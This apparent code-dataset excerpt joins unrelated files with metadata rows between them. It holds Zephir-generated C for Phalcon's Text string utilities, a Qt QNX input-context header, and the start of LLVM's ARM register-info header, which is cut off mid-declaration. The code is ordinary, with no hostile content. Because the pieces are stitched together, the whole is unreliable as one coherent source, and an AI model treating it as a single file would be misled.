&_1$$3); zephir_check_call_status(); ZEPHIR_INIT_VAR(pool); zephir_fast_array_merge(pool, &(_2$$3), &(_4$$3) TSRMLS_CC); break; } if (type == 2) { ZEPHIR_SINIT_VAR(_5$$4); ZVAL_LONG(&_5$$4, 0); ZEPHIR_SINIT_VAR(_6$$4); ZVAL_LONG(&_6$$4, 9); ZEPHIR_CALL_FUNCTION(&_7$$4, "range", &_3, 446, &_5$$4, &_6$$4); zephir_check_call_status(); ZEPHIR_SINIT_NVAR(_5$$4); ZVAL_STRING(&_5$$4, "a", 0); ZEPHIR_SINIT_NVAR(_6$$4); ZVAL_STRING(&_6$$4, "f", 0); ZEPHIR_CALL_FUNCTION(&_8$$4, "range", &_3, 446, &_5$$4, &_6$$4); zephir_check_call_status(); ZEPHIR_INIT_NVAR(pool); zephir_fast_array_merge(pool, &(_7$$4), &(_8$$4) TSRMLS_CC); break; } if (type == 3) { ZEPHIR_SINIT_VAR(_9$$5); ZVAL_LONG(&_9$$5, 0); ZEPHIR_SINIT_VAR(_10$$5); ZVAL_LONG(&_10$$5, 9); ZEPHIR_CALL_FUNCTION(&pool, "range", &_3, 446, &_9$$5, &_10$$5); zephir_check_call_status(); break; } if (type == 4) { ZEPHIR_SINIT_VAR(_11$$6); ZVAL_LONG(&_11$$6, 1); ZEPHIR_SINIT_VAR(_12$$6); ZVAL_LONG(&_12$$6, 9); ZEPHIR_CALL_FUNCTION(&pool, "range", &_3, 446, &_11$$6, &_12$$6); zephir_check_call_status(); break; } ZEPHIR_SINIT_VAR(_13$$7); ZVAL_LONG(&_13$$7, 0); ZEPHIR_SINIT_VAR(_14$$7); ZVAL_LONG(&_14$$7, 9); ZEPHIR_CALL_FUNCTION(&_15$$7, "range", &_3, 446, &_13$$7, &_14$$7); zephir_check_call_status(); ZEPHIR_SINIT_NVAR(_13$$7); ZVAL_STRING(&_13$$7, "a", 0); ZEPHIR_SINIT_NVAR(_14$$7); ZVAL_STRING(&_14$$7, "z", 0); ZEPHIR_CALL_FUNCTION(&_16$$7, "range", &_3, 446, &_13$$7, &_14$$7); zephir_check_call_status(); ZEPHIR_SINIT_NVAR(_13$$7); ZVAL_STRING(&_13$$7, "A", 0); ZEPHIR_SINIT_NVAR(_14$$7); ZVAL_STRING(&_14$$7, "Z", 0); ZEPHIR_CALL_FUNCTION(&_17$$7, "range", &_3, 446, &_13$$7, &_14$$7); zephir_check_call_status(); ZEPHIR_CALL_FUNCTION(&pool, "array_merge", &_18, 447, _15$$7, _16$$7, _17$$7); zephir_check_call_status(); break; } while(0); end = (zephir_fast_count_int(pool TSRMLS_CC) - 1); while (1) { if (!(zephir_fast_strlen_ev(str) < length)) { break; } ZEPHIR_SINIT_NVAR(_20$$8); ZVAL_LONG(&_20$$8, 0); ZEPHIR_SINIT_NVAR(_21$$8); ZVAL_LONG(&_21$$8, end); zephir_array_fetch_long(&_19$$8, pool, zephir_mt_rand(zephir_get_intval(&_20$$8), zephir_get_intval(&_21$$8) TSRMLS_CC), PH_NOISY | PH_READONLY, "phalcon/text.zep", 132 TSRMLS_CC); zephir_concat_self(&str, _19$$8 TSRMLS_CC); } RETURN_CCTOR(str); } /** * Check if a string starts with a given string * * <code> * echo Phalcon\Text::startsWith("Hello", "He"); // true * echo Phalcon\Text::startsWith("Hello", "he", false); // false * echo Phalcon\Text::startsWith("Hello", "he"); // true * </code> */ PHP_METHOD(Phalcon_Text, startsWith) { zend_bool ignoreCase; zval *str_param = NULL, *start_param = NULL, *ignoreCase_param = NULL, _0; zval *str = NULL, *start = NULL; ZEPHIR_MM_GROW(); zephir_fetch_params(1, 2, 1, &str_param, &start_param, &ignoreCase_param); zephir_get_strval(str, str_param); zephir_get_strval(start, start_param); if (!ignoreCase_param) { ignoreCase = 1; } else { ignoreCase = zephir_get_boolval(ignoreCase_param); } ZEPHIR_SINIT_VAR(_0); ZVAL_BOOL(&_0, (ignoreCase ? 1 : 0)); RETURN_MM_BOOL(zephir_start_with(str, start, &_0)); } /** * Check if a string ends with a given string * * <code> * echo Phalcon\Text::endsWith("Hello", "llo"); // true * echo Phalcon\Text::endsWith("Hello", "LLO", false); // false * echo Phalcon\Text::endsWith("Hello", "LLO"); // true * </code> */ PHP_METHOD(Phalcon_Text, endsWith) { zend_bool ignoreCase; zval *str_param = NULL, *end_param = NULL, *ignoreCase_param = NULL, _0; zval *str = NULL, *end = NULL; ZEPHIR_MM_GROW(); zephir_fetch_params(1, 2, 1, &str_param, &end_param, &ignoreCase_param); zephir_get_strval(str, str_param); zephir_get_strval(end, end_param); if (!ignoreCase_param) { ignoreCase = 1; } else { ignoreCase = zephir_get_boolval(ignoreCase_param); } ZEPHIR_SINIT_VAR(_0); ZVAL_BOOL(&_0, (ignoreCase ? 1 : 0)); RETURN_MM_BOOL(zephir_end_with(str, end, &_0)); } /** * Lowercases a string, this function makes use of the mbstring extension if available * * <code> * echo Phalcon\Text::lower("HELLO"); // hello * </code> */ PHP_METHOD(Phalcon_Text, lower) { int ZEPHIR_LAST_CALL_STATUS; zval *str_param = NULL, *encoding_param = NULL; zval *str = NULL, *encoding = NULL; ZEPHIR_MM_GROW(); zephir_fetch_params(1, 1, 1, &str_param, &encoding_param); if (unlikely(Z_TYPE_P(str_param) != IS_STRING && Z_TYPE_P(str_param) != IS_NULL)) { zephir_throw_exception_string(spl_ce_InvalidArgumentException, SL("Parameter 'str' must be a string") TSRMLS_CC); RETURN_MM_NULL(); } if (likely(Z_TYPE_P(str_param) == IS_STRING)) { zephir_get_strval(str, str_param); } else { ZEPHIR_INIT_VAR(str); ZVAL_EMPTY_STRING(str); } if (!encoding_param) { ZEPHIR_INIT_VAR(encoding); ZVAL_STRING(encoding, "UTF-8", 1); } else { if (unlikely(Z_TYPE_P(encoding_param) != IS_STRING && Z_TYPE_P(encoding_param) != IS_NULL)) { zephir_throw_exception_string(spl_ce_InvalidArgumentException, SL("Parameter 'encoding' must be a string") TSRMLS_CC); RETURN_MM_NULL(); } if (likely(Z_TYPE_P(encoding_param) == IS_STRING)) { zephir_get_strval(encoding, encoding_param); } else { ZEPHIR_INIT_VAR(encoding); ZVAL_EMPTY_STRING(encoding); } } if ((zephir_function_exists_ex(SS("mb_strtolower") TSRMLS_CC) == SUCCESS)) { ZEPHIR_RETURN_CALL_FUNCTION("mb_strtolower", NULL, 204, str, encoding); zephir_check_call_status(); RETURN_MM(); } zephir_fast_strtolower(return_value, str); RETURN_MM(); } /** * Uppercases a string, this function makes use of the mbstring extension if available * * <code> * echo Phalcon\Text::upper("hello"); // HELLO * </code> */ PHP_METHOD(Phalcon_Text, upper) { int ZEPHIR_LAST_CALL_STATUS; zval *str_param = NULL, *encoding_param = NULL; zval *str = NULL, *encoding = NULL; ZEPHIR_MM_GROW(); zephir_fetch_params(1, 1, 1, &str_param, &encoding_param); if (unlikely(Z_TYPE_P(str_param) != IS_STRING && Z_TYPE_P(str_param) != IS_NULL)) { zephir_throw_exception_string(spl_ce_InvalidArgumentException, SL("Parameter 'str' must be a string") TSRMLS_CC); RETURN_MM_NULL(); } if (likely(Z_TYPE_P(str_param) == IS_STRING)) { zephir_get_strval(str, str_param); } else { ZEPHIR_INIT_VAR(str); ZVAL_EMPTY_STRING(str); } if (!encoding_param) { ZEPHIR_INIT_VAR(encoding); ZVAL_STRING(encoding, "UTF-8", 1); } else { if (unlikely(Z_TYPE_P(encoding_param) != IS_STRING && Z_TYPE_P(encoding_param) != IS_NULL)) { zephir_throw_exception_string(spl_ce_InvalidArgumentException, SL("Parameter 'encoding' must be a string") TSRMLS_CC); RETURN_MM_NULL(); } if (likely(Z_TYPE_P(encoding_param) == IS_STRING)) { zephir_get_strval(encoding, encoding_param); } else { ZEPHIR_INIT_VAR(encoding); ZVAL_EMPTY_STRING(encoding); } } if ((zephir_function_exists_ex(SS("mb_strtoupper") TSRMLS_CC) == SUCCESS)) { ZEPHIR_RETURN_CALL_FUNCTION("mb_strtoupper", NULL, 205, str, encoding); zephir_check_call_status(); RETURN_MM(); } zephir_fast_strtoupper(return_value, str); RETURN_MM(); } /** * Reduces multiple slashes in a string to single slashes * * <code> * echo Phalcon\Text::reduceSlashes("foo//bar/baz"); // foo/bar/baz * echo Phalcon\Text::reduceSlashes("http://foo.bar///baz/buz"); // http://foo.bar/baz/buz * </code> */ PHP_METHOD(Phalcon_Text, reduceSlashes) { int ZEPHIR_LAST_CALL_STATUS; zval *str_param = NULL, *_0, *_1; zval *str = NULL; ZEPHIR_MM_GROW(); zephir_fetch_params(1, 1, 0, &str_param); zephir_get_strval(str, str_param); ZEPHIR_INIT_VAR(_0); ZVAL_STRING(_0, "#(?<!:)//+#", ZEPHIR_TEMP_PARAM_COPY); ZEPHIR_INIT_VAR(_1); ZVAL_STRING(_1, "/", ZEPHIR_TEMP_PARAM_COPY); ZEPHIR_RETURN_CALL_FUNCTION("preg_replace", NULL, 39, _0, _1, str); zephir_check_temp_parameter(_0); zephir_check_temp_parameter(_1); zephir_check_call_status(); RETURN_MM(); } /** * Concatenates strings using the separator only once without duplication in places concatenation * * <code> * $str = Phalcon\Text::concat( * "/", * "/tmp/", * "/folder_1/", * "/folder_2", * "folder_3/" * ); * * // /tmp/folder_1/folder_2/folder_3/ * echo $str; * </code> * * @param string separator * @param string a * @param string b * @param string ...N */ PHP_METHOD(Phalcon_Text, concat) { HashTable *_7$$3; HashPosition _6$$3; zval *separator = NULL, *a = NULL, *b = NULL, _0 = zval_used_for_init, *c = NULL, *_2 = NULL, *_12, *_13, *_3$$3 = NULL, _4$$3, *_5$$3 = NULL, **_8$$3, *_9$$4 = NULL, *_10$$4 = NULL, *_11$$4 = NULL; int ZEPHIR_LAST_CALL_STATUS; zephir_fcall_cache_entry *_1 = NULL; ZEPHIR_MM_GROW(); ZEPHIR_SINIT_VAR(_0); ZVAL_LONG(&_0, 0); ZEPHIR_CALL_FUNCTION(&separator, "func_get_arg", &_1, 448, &_0); zephir_check_call_status(); ZEPHIR_SINIT_NVAR(_0); ZVAL_LONG(&_0, 1); ZEPHIR_CALL_FUNCTION(&a, "func_get_arg", &_1, 448, &_0); zephir_check_call_status(); ZEPHIR_SINIT_NVAR(_0); ZVAL_LONG(&_0, 2); ZEPHIR_CALL_FUNCTION(&b, "func_get_arg", &_1, 448, &_0); zephir_check_call_status(); ZEPHIR_CALL_FUNCTION(&_2, "func_num_args", NULL, 449); zephir_check_call_status(); if (ZEPHIR_GT_LONG(_2, 3)) { ZEPHIR_CALL_FUNCTION(&_3$$3, "func_get_args", NULL, 176); zephir_check_call_status(); ZEPHIR_SINIT_VAR(_4$$3); ZVAL_LONG(&_4$$3, 3); ZEPHIR_CALL_FUNCTION(&_5$$3, "array_slice", NULL, 396, _3$$3, &_4$$3); zephir_check_call_status(); zephir_is_iterable(_5$$3, &_7$$3, &_6$$3, 0, 0, "phalcon/text.zep", 256); for ( ; zephir_hash_get_current_data_ex(_7$$3, (void**) &_8$$3, &_6$$3) == SUCCESS ; zephir_hash_move_forward_ex(_7$$3, &_6$$3) ) { ZEPHIR_GET_HVALUE(c, _8$$3); ZEPHIR_INIT_NVAR(_9$$4); zephir_fast_trim(_9$$4, b, separator, ZEPHIR_TRIM_RIGHT TSRMLS_CC); ZEPHIR_INIT_NVAR(_10$$4); zephir_fast_trim(_10$$4, c, separator, ZEPHIR_TRIM_LEFT TSRMLS_CC); ZEPHIR_INIT_LNVAR(_11$$4); ZEPHIR_CONCAT_VVV(_11$$4, _9$$4, separator, _10$$4); ZEPHIR_CPY_WRT(b, _11$$4); } } ZEPHIR_INIT_VAR(_12); zephir_fast_trim(_12, a, separator, ZEPHIR_TRIM_RIGHT TSRMLS_CC); ZEPHIR_INIT_VAR(_13); zephir_fast_trim(_13, b, separator, ZEPHIR_TRIM_LEFT TSRMLS_CC); ZEPHIR_CONCAT_VVV(return_value, _12, separator, _13); RETURN_MM(); } /** * Generates random text in accordance with the template * * <code> * // Hi my name is a Bob * echo Phalcon\Text::dynamic("{Hi|Hello}, my name is a {Bob|Mark|Jon}!"); * * // Hi my name is a Jon * echo Phalcon\Text::dynamic("{Hi|Hello}, my name is a {Bob|Mark|Jon}!"); * * // Hello my name is a Bob * echo Phalcon\Text::dynamic("{Hi|Hello}, my name is a {Bob|Mark|Jon}!"); * * // Hello my name is a Zyxep * echo Phalcon\Text::dynamic("[Hi/Hello], my name is a [Zyxep/Mark]!", "[", "]", "/"); * </code> */ PHP_METHOD(Phalcon_Text, dynamic) { zend_bool _11$$6; HashTable *_9$$5; HashPosition _8$$5; int ZEPHIR_LAST_CALL_STATUS; zephir_fcall_cache_entry *_1 = NULL, *_5 = NULL, *_14 = NULL, *_19 = NULL; zval *text_param = NULL, *leftDelimiter_param = NULL, *rightDelimiter_param = NULL, *separator_param = NULL, *ldS = NULL, *rdS = NULL, *pattern = NULL, *matches = NULL, *match = NULL, *words = NULL, *word = NULL, *sub = NULL, *_0 = NULL, *_2 = NULL, *_6, *_7 = NULL, *_3$$3, **_10$$5, *_12$$6, *_13$$6 = NULL, *_15$$6, *_16$$6 = NULL, *_17$$6 = NULL, *_18$$6 = NULL; zval *text = NULL, *leftDelimiter = NULL, *rightDelimiter = NULL, *separator = NULL, *_4$$3; ZEPHIR_MM_GROW(); zephir_fetch_params(1, 1, 3, &text_param, &leftDelimiter_param, &rightDelimiter_param, &separator_param); if (unlikely(Z_TYPE_P(text_param) != IS_STRING && Z_TYPE_P(text_param) != IS_NULL)) { zephir_throw_exception_string(spl_ce_InvalidArgumentException, SL("Parameter 'text' must be a string") TSRMLS_CC); RETURN_MM_NULL(); } if (likely(Z_TYPE_P(text_param) == IS_STRING)) { zephir_get_strval(text, text_param); } else { ZEPHIR_INIT_VAR(text); ZVAL_EMPTY_STRING(text); } if (!leftDelimiter_param) { ZEPHIR_INIT_VAR(leftDelimiter); ZVAL_STRING(leftDelimiter, "{", 1); } else { if (unlikely(Z_TYPE_P(leftDelimiter_param) != IS_STRING && Z_TYPE_P(leftDelimiter_param) != IS_NULL)) { zephir_throw_exception_string(spl_ce_InvalidArgumentException, SL("Parameter 'leftDelimiter' must be a string") TSRMLS_CC); RETURN_MM_NULL(); } if (likely(Z_TYPE_P(leftDelimiter_param) == IS_STRING)) { zephir_get_strval(leftDelimiter, leftDelimiter_param); } else { ZEPHIR_INIT_VAR(leftDelimiter); ZVAL_EMPTY_STRING(leftDelimiter); } } if (!rightDelimiter_param) { ZEPHIR_INIT_VAR(rightDelimiter); ZVAL_STRING(rightDelimiter, "}", 1); } else { if (unlikely(Z_TYPE_P(rightDelimiter_param) != IS_STRING && Z_TYPE_P(rightDelimiter_param) != IS_NULL)) { zephir_throw_exception_string(spl_ce_InvalidArgumentException, SL("Parameter 'rightDelimiter' must be a string") TSRMLS_CC); RETURN_MM_NULL(); } if (likely(Z_TYPE_P(rightDelimiter_param) == IS_STRING)) { zephir_get_strval(rightDelimiter, rightDelimiter_param); } else { ZEPHIR_INIT_VAR(rightDelimiter); ZVAL_EMPTY_STRING(rightDelimiter); } } if (!separator_param) { ZEPHIR_INIT_VAR(separator); ZVAL_STRING(separator, "|", 1); } else { if (unlikely(Z_TYPE_P(separator_param) != IS_STRING && Z_TYPE_P(separator_param) != IS_NULL)) { zephir_throw_exception_string(spl_ce_InvalidArgumentException, SL("Parameter 'separator' must be a string") TSRMLS_CC); RETURN_MM_NULL(); } if (likely(Z_TYPE_P(separator_param) == IS_STRING)) { zephir_get_strval(separator, separator_param); } else { ZEPHIR_INIT_VAR(separator); ZVAL_EMPTY_STRING(separator); } } ZEPHIR_CALL_FUNCTION(&_0, "substr_count", &_1, 450, text, leftDelimiter); zephir_check_call_status(); ZEPHIR_CALL_FUNCTION(&_2, "substr_count", &_1, 450, text, rightDelimiter); zephir_check_call_status(); if (!ZEPHIR_IS_IDENTICAL(_0, _2)) { ZEPHIR_INIT_VAR(_3$$3); object_init_ex(_3$$3, spl_ce_RuntimeException); ZEPHIR_INIT_VAR(_4$$3); ZEPHIR_CONCAT_SVS(_4$$3, "Syntax error in string \"", text, "\""); ZEPHIR_CALL_METHOD(NULL, _3$$3, "__construct", NULL, 451, _4$$3); zephir_check_call_status(); zephir_throw_exception_debug(_3$$3, "phalcon/text.zep", 283 TSRMLS_CC); ZEPHIR_MM_RESTORE(); return; } ZEPHIR_CALL_FUNCTION(&ldS, "preg_quote", &_5, 452, leftDelimiter); zephir_check_call_status(); ZEPHIR_CALL_FUNCTION(&rdS, "preg_quote", &_5, 452, rightDelimiter); zephir_check_call_status(); ZEPHIR_INIT_VAR(pattern); ZEPHIR_CONCAT_SVSVVSVS(pattern, "/", ldS, "([^", ldS, rdS, "]+)", rdS, "/"); ZEPHIR_INIT_VAR(matches); array_init(matches); ZEPHIR_INIT_VAR(_6); ZVAL_LONG(_6, 2); ZEPHIR_MAKE_REF(matches); ZEPHIR_CALL_FUNCTION(&_7, "preg_match_all", NULL, 38, pattern, text, matches, _6); ZEPHIR_UNREF(matches); zephir_check_call_status(); if (!(zephir_is_true(_7))) { RETURN_CTOR(text); } if (Z_TYPE_P(matches) == IS_ARRAY) { zephir_is_iterable(matches, &_9$$5, &_8$$5, 0, 0, "phalcon/text.zep", 306); for ( ; zephir_hash_get_current_data_ex(_9$$5, (void**) &_10$$5, &_8$$5) == SUCCESS ; zephir_hash_move_forward_ex(_9$$5, &_8$$5) ) { ZEPHIR_GET_HVALUE(match, _10$$5); _11$$6 = !(zephir_array_isset_long(match, 0)); if (!(_11$$6)) { _11$$6 = !(zephir_array_isset_long(match, 1)); } if (_11$$6) { continue; } zephir_array_fetch_long(&_12$$6, match, 1, PH_NOISY | PH_READONLY, "phalcon/text.zep", 301 TSRMLS_CC); ZEPHIR_INIT_NVAR(words); zephir_fast_explode(words, separator, _12$$6, LONG_MAX TSRMLS_CC); ZEPHIR_OBS_NVAR(word); ZEPHIR_CALL_FUNCTION(&_13$$6, "array_rand", &_14, 453, words); zephir_check_call_status(); zephir_array_fetch(&word, words, _13$$6, PH_NOISY, "phalcon/text.zep", 302 TSRMLS_CC); zephir_array_fetch_long(&_15$$6, match, 0, PH_NOISY | PH_READONLY, "phalcon/text.zep", 303 TSRMLS_CC); ZEPHIR_CALL_FUNCTION(&sub, "preg_quote", &_5, 452, _15$$6, separator); zephir_check_call_status(); ZEPHIR_INIT_LNVAR(_16$$6); ZEPHIR_CONCAT_SVS(_16$$6, "/", sub, "/"); ZEPHIR_INIT_NVAR(_17$$6); ZVAL_LONG(_17$$6, 1); ZEPHIR_CALL_FUNCTION(&_18$$6, "preg_replace", &_19, 39, _16$$6, word, text, _17$$6); zephir_check_call_status(); zephir_get_strval(text, _18$$6); } } RETURN_CTOR(text); } /** * Makes a phrase underscored instead of spaced * * <code> * echo Phalcon\Text::underscore("look behind"); // "look_behind" * echo Phalcon\Text::underscore("Awesome Phalcon"); // "Awesome_Phalcon" * </code> */ PHP_METHOD(Phalcon_Text, underscore) { int ZEPHIR_LAST_CALL_STATUS; zval *text_param = NULL, *_0, *_1, *_2; zval *text = NULL; ZEPHIR_MM_GROW(); zephir_fetch_params(1, 1, 0, &text_param); if (unlikely(Z_TYPE_P(text_param) != IS_STRING && Z_TYPE_P(text_param) != IS_NULL)) { zephir_throw_exception_string(spl_ce_InvalidArgumentException, SL("Parameter 'text' must be a string") TSRMLS_CC); RETURN_MM_NULL(); } if (likely(Z_TYPE_P(text_param) == IS_STRING)) { zephir_get_strval(text, text_param); } else { ZEPHIR_INIT_VAR(text); ZVAL_EMPTY_STRING(text); } ZEPHIR_INIT_VAR(_0); zephir_fast_trim(_0, text, NULL , ZEPHIR_TRIM_BOTH TSRMLS_CC); ZEPHIR_INIT_VAR(_1); ZVAL_STRING(_1, "#\\s+#", ZEPHIR_TEMP_PARAM_COPY); ZEPHIR_INIT_VAR(_2); ZVAL_STRING(_2, "_", ZEPHIR_TEMP_PARAM_COPY); ZEPHIR_RETURN_CALL_FUNCTION("preg_replace", NULL, 39, _1, _2, _0); zephir_check_temp_parameter(_1); zephir_check_temp_parameter(_2); zephir_check_call_status(); RETURN_MM(); } /** * Makes an underscored or dashed phrase human-readable * * <code> * echo Phalcon\Text::humanize("start-a-horse"); // "start a horse" * echo Phalcon\Text::humanize("five_cats"); // "five cats" * </code> */ PHP_METHOD(Phalcon_Text, humanize) { int ZEPHIR_LAST_CALL_STATUS; zval *text_param = NULL, *_0, *_1, *_2; zval *text = NULL; ZEPHIR_MM_GROW(); zephir_fetch_params(1, 1, 0, &text_param); if (unlikely(Z_TYPE_P(text_param) != IS_STRING && Z_TYPE_P(text_param) != IS_NULL)) { zephir_throw_exception_string(spl_ce_InvalidArgumentException, SL("Parameter 'text' must be a string") TSRMLS_CC); RETURN_MM_NULL(); } if (likely(Z_TYPE_P(text_param) == IS_STRING)) { zephir_get_strval(text, text_param); } else { ZEPHIR_INIT_VAR(text); ZVAL_EMPTY_STRING(text); } ZEPHIR_INIT_VAR(_0); zephir_fast_trim(_0, text, NULL , ZEPHIR_TRIM_BOTH TSRMLS_CC); ZEPHIR_INIT_VAR(_1); ZVAL_STRING(_1, "#[_-]+#", ZEPHIR_TEMP_PARAM_COPY); ZEPHIR_INIT_VAR(_2); ZVAL_STRING(_2, " ", ZEPHIR_TEMP_PARAM_COPY); ZEPHIR_RETURN_CALL_FUNCTION("preg_replace", NULL, 39, _1, _2, _0); zephir_check_temp_parameter(_1); zephir_check_temp_parameter(_2); zephir_check_call_status(); RETURN_MM(); }
30.131288
450
0.697846
[ "object" ]
308800ec7c51fd9e6e5c59e16f6b14464bd23542
5,118
h
C
src/qt/qtbase/src/plugins/platforms/qnx/qqnxinputcontext_imf.h
power-electro/phantomjs-Gohstdriver-DIY-openshift
a571d301a9658a4c1b524d07e15658b45f8a0579
[ "BSD-3-Clause" ]
1
2020-04-30T15:47:35.000Z
2020-04-30T15:47:35.000Z
src/qt/qtbase/src/plugins/platforms/qnx/qqnxinputcontext_imf.h
power-electro/phantomjs-Gohstdriver-DIY-openshift
a571d301a9658a4c1b524d07e15658b45f8a0579
[ "BSD-3-Clause" ]
null
null
null
src/qt/qtbase/src/plugins/platforms/qnx/qqnxinputcontext_imf.h
power-electro/phantomjs-Gohstdriver-DIY-openshift
a571d301a9658a4c1b524d07e15658b45f8a0579
[ "BSD-3-Clause" ]
null
null
null
/*************************************************************************** ** ** Copyright (C) 2013 BlackBerry Limited. All rights reserved. ** Contact: http://www.qt.io/licensing/ ** ** This file is part of the plugins of the Qt Toolkit. ** ** $QT_BEGIN_LICENSE:LGPL21$ ** Commercial License Usage ** Licensees holding valid commercial Qt licenses may use this file in ** accordance with the commercial license agreement provided with the ** Software or, alternatively, in accordance with the terms contained in ** a written agreement between you and The Qt Company. For licensing terms ** and conditions see http://www.qt.io/terms-conditions. For further ** information use the contact form at http://www.qt.io/contact-us. ** ** GNU Lesser General Public License Usage ** Alternatively, this file may be used under the terms of the GNU Lesser ** General Public License version 2.1 or version 3 as published by the Free ** Software Foundation and appearing in the file LICENSE.LGPLv21 and ** LICENSE.LGPLv3 included in the packaging of this file. Please review the ** following information to ensure the GNU Lesser General Public License ** requirements will be met: https://www.gnu.org/licenses/lgpl.html and ** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. ** ** As a special exception, The Qt Company gives you certain additional ** rights. These rights are described in The Qt Company LGPL Exception ** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. ** ** $QT_END_LICENSE$ ** ****************************************************************************/ #ifndef QQNXINPUTCONTEXT_H #define QQNXINPUTCONTEXT_H #include <qpa/qplatforminputcontext.h> #include "qqnxscreeneventfilter.h" #include <QtCore/QLocale> #include <QtCore/QMetaType> #include <QtCore/QList> #include <qpa/qplatformintegration.h> #include "imf/imf_client.h" #include "imf/input_control.h" QT_BEGIN_NAMESPACE class QQnxAbstractVirtualKeyboard; class QQnxIntegration; class QQnxImfRequest; class QQnxInputContext : public QPlatformInputContext, public QQnxScreenEventFilter { Q_OBJECT public: explicit QQnxInputContext(QQnxIntegration *integration, QQnxAbstractVirtualKeyboard &keyboard); ~QQnxInputContext(); // Indices for selecting and setting highlight colors. enum HighlightIndex { ActiveRegion, AutoCorrected, Reverted, }; bool isValid() const; bool filterEvent(const QEvent *event); QRectF keyboardRect() const; void reset(); void commit(); void update(Qt::InputMethodQueries); bool handleKeyboardEvent(int flags, int sym, int mod, int scan, int cap, int sequenceId); void showInputPanel(); void hideInputPanel(); bool isInputPanelVisible() const; QLocale locale() const; void setFocusObject(QObject *object); static void setHighlightColor(int index, const QColor &color); static bool checkSpelling(const QString &text, void *context, void (*spellCheckDone)(void *context, const QString &text, const QList<int> &indices)); private Q_SLOTS: void keyboardVisibilityChanged(bool visible); void keyboardLocaleChanged(const QLocale &locale); void processImfEvent(QQnxImfRequest *event); private: // IMF Event dispatchers bool dispatchFocusGainEvent(int inputHints); void dispatchFocusLossEvent(); bool dispatchRequestSoftwareInputPanel(); bool dispatchCloseSoftwareInputPanel(); int handleSpellCheck(spell_check_event_t *event); int32_t processEvent(event_t *event); void closeSession(); bool openSession(); bool hasSession(); void updateCursorPosition(); void endComposition(); void finishComposingText(); bool hasSelectedText(); void updateComposition(spannable_string_t *text, int32_t new_cursor_position); // IMF Event handlers - these events will come in from QCoreApplication. int32_t onCommitText(spannable_string_t *text, int32_t new_cursor_position); int32_t onDeleteSurroundingText(int32_t left_length, int32_t right_length); int32_t onGetCursorCapsMode(int32_t req_modes); int32_t onFinishComposingText(); int32_t onGetCursorPosition(); spannable_string_t *onGetTextAfterCursor(int32_t n, int32_t flags); spannable_string_t *onGetTextBeforeCursor(int32_t n, int32_t flags); int32_t onSendEvent(event_t *event); int32_t onSetComposingRegion(int32_t start, int32_t end); int32_t onSetComposingText(spannable_string_t *text, int32_t new_cursor_position); int32_t onIsTextSelected(int32_t* pIsSelected); int32_t onIsAllTextSelected(int32_t* pIsSelected); int32_t onForceUpdate(); int m_caretPosition; bool m_isComposing; QString m_composingText; bool m_isUpdatingText; bool m_inputPanelVisible; QLocale m_inputPanelLocale; // The object that had focus when the last highlight color was set. QObject *m_focusObject; // Indexed by HighlightIndex QColor m_highlightColor[3]; QQnxIntegration *m_integration; QQnxAbstractVirtualKeyboard &m_virtualKeyboard; }; QT_END_NAMESPACE #endif // QQNXINPUTCONTEXT_H
35.541667
153
0.736225
[ "object" ]
308a0345fbd9e283b372dcca9124a6e4737eee7a
7,985
h
C
lib/Target/ARM/ARMBaseRegisterInfo.h
kkeita/llvm_autofdo
9ecd435b55a3e58e1e3f71d478ff02c57840a900
[ "Apache-2.0" ]
938
2015-12-03T16:45:43.000Z
2022-03-17T20:28:02.000Z
lib/Target/ARM/ARMBaseRegisterInfo.h
kkeita/llvm_autofdo
9ecd435b55a3e58e1e3f71d478ff02c57840a900
[ "Apache-2.0" ]
127
2015-12-03T21:42:53.000Z
2019-11-21T14:34:20.000Z
lib/Target/ARM/ARMBaseRegisterInfo.h
kkeita/llvm_autofdo
9ecd435b55a3e58e1e3f71d478ff02c57840a900
[ "Apache-2.0" ]
280
2015-12-03T16:51:35.000Z
2022-01-24T00:01:54.000Z
//===-- ARMBaseRegisterInfo.h - ARM Register Information Impl ---*- C++ -*-===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// // // This file contains the base ARM implementation of TargetRegisterInfo class. // //===----------------------------------------------------------------------===// #ifndef LLVM_LIB_TARGET_ARM_ARMBASEREGISTERINFO_H #define LLVM_LIB_TARGET_ARM_ARMBASEREGISTERINFO_H #include "MCTargetDesc/ARMBaseInfo.h" #include "llvm/CodeGen/MachineBasicBlock.h" #include "llvm/CodeGen/MachineInstr.h" #include "llvm/CodeGen/TargetRegisterInfo.h" #include "llvm/IR/CallingConv.h" #include "llvm/MC/MCRegisterInfo.h" #include <cstdint> #define GET_REGINFO_HEADER #include "ARMGenRegisterInfo.inc" namespace llvm { class LiveIntervals; /// Register allocation hints. namespace ARMRI { enum { RegPairOdd = 1, RegPairEven = 2 }; } // end namespace ARMRI /// isARMArea1Register - Returns true if the register is a low register (r0-r7) /// or a stack/pc register that we should push/pop. static inline bool isARMArea1Register(unsigned Reg, bool isIOS) { using namespace ARM; switch (Reg) { case R0: case R1: case R2: case R3: case R4: case R5: case R6: case R7: case LR: case SP: case PC: return true; case R8: case R9: case R10: case R11: case R12: // For iOS we want r7 and lr to be next to each other. return !isIOS; default: return false; } } static inline bool isARMArea2Register(unsigned Reg, bool isIOS) { using namespace ARM; switch (Reg) { case R8: case R9: case R10: case R11: case R12: // iOS has this second area. return isIOS; default: return false; } } static inline bool isARMArea3Register(unsigned Reg, bool isIOS) { using namespace ARM; switch (Reg) { case D15: case D14: case D13: case D12: case D11: case D10: case D9: case D8: case D7: case D6: case D5: case D4: case D3: case D2: case D1: case D0: case D31: case D30: case D29: case D28: case D27: case D26: case D25: case D24: case D23: case D22: case D21: case D20: case D19: case D18: case D17: case D16: return true; default: return false; } } static inline bool isCalleeSavedRegister(unsigned Reg, const MCPhysReg *CSRegs) { for (unsigned i = 0; CSRegs[i]; ++i) if (Reg == CSRegs[i]) return true; return false; } class ARMBaseRegisterInfo : public ARMGenRegisterInfo { protected: /// BasePtr - ARM physical register used as a base ptr in complex stack /// frames. I.e., when we need a 3rd base, not just SP and FP, due to /// variable size stack objects. unsigned BasePtr = ARM::R6; // Can be only subclassed. explicit ARMBaseRegisterInfo(); // Return the opcode that implements 'Op', or 0 if no opcode unsigned getOpcode(int Op) const; public: /// Code Generation virtual methods... const MCPhysReg *getCalleeSavedRegs(const MachineFunction *MF) const override; const MCPhysReg * getCalleeSavedRegsViaCopy(const MachineFunction 